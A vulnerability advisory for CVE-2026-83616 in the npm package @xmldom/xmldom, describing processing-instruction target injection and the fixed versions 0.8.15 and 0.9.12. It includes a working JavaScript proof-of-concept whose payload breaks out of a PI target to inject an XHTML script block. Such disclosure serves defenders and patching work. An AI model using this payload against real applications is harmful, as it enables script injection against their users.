highCVE-2026-83616Sep 8, 2026

CVE-2026-83616: @xmldom/xmldom Processing Instruction Target Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A missing validation in @xmldom/xmldom lets an attacker embed a '>' character in a processing-instruction target, breaking the PI boundary during serialization and injecting arbitrary XML or script…

Package@xmldom/xmldom
Ecosystemnpm
Affected>= 0.7.0, <= 0.8.14
Fixed in0.8.15
CVE-2026-83616: @xmldom/xmldom Processing Instruction Target Injection

The problem

Document.createProcessingInstruction(target, data) in lib/dom.js stores any string as the PI target without validation. During serialization the output is written verbatim as <?target data?>, so a '>' in the target immediately closes the PI element.

On versions 0.8.x the requireWellFormed: true serializer option performed no target check at all. On 0.9.x it only rejected a colon and a case-insensitive 'xml' prefix. Neither branch blocked '>', '?', or whitespace, so the well-formed flag gave a false sense of security while still emitting injectable output.

Proof of concept

A working proof-of-concept for CVE-2026-83616 in @xmldom/xmldom, with the exact payload below.

javascript
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

const impl = new DOMImplementation();
const doc  = impl.createDocument(null, 'root', null);
const ser  = new XMLSerializer();

// Simple boundary break: > in target closes the PI prematurely.
const pi1 = doc.createProcessingInstruction('a>', 'data');
doc.documentElement.appendChild(pi1);
console.log(ser.serializeToString(doc, { requireWellFormed: true }));
// => <root><?a> data?></root>
// Parser sees PI target "a", then text node " data?>" -- injection confirmed.

// Element injection: inject a full XHTML <script> block.
const pi2 = doc.createProcessingInstruction(
  'a?><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><?b',
  ''
);
doc.documentElement.appendChild(pi2);
console.log(ser.serializeToString(doc, { requireWellFormed: true }));
// Output contains: <?a?><script xmlns="...">alert(1)</script><?b ?>
// requireWellFormed: true did NOT prevent the injection.

The root cause is CWE-91: the serializer emits the target verbatim inside the <?...?> delimiters. A '>' anywhere in that string terminates the processing instruction early because XML parsers treat the first '>' they see as closing the current construct. The more powerful variant uses '?>' to also close the PI data field, then injects a complete element (here an XHTML script tag) before opening a new dummy PI to absorb the trailing '?>'.

The patch (commits 3b694872 for 0.8.15 and 1cde3e31 for 0.9.12) adds an NCName validity check on the PI target inside the requireWellFormed serialization path. Any target that is not a valid XML NCName, including one containing '>', '?', or whitespace, now throws InvalidStateError before any output is emitted.

The check is opt-in: the default serialization path still emits verbatim, matching browser XMLSerializer behavior.

The fix

Upgrade @xmldom/xmldom to 0.8.15 (LTS) or 0.9.12. After upgrading, pass { requireWellFormed: true } to every XMLSerializer.serializeToString() call that handles untrusted input. Audit all call sites that accept user-controlled PI targets, because the default (no option) path still emits verbatim and remains unsafe.

Creation-time validation of the target in createProcessingInstruction() is deferred to the next breaking release (tracked in xmldom/xmldom#1073).

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research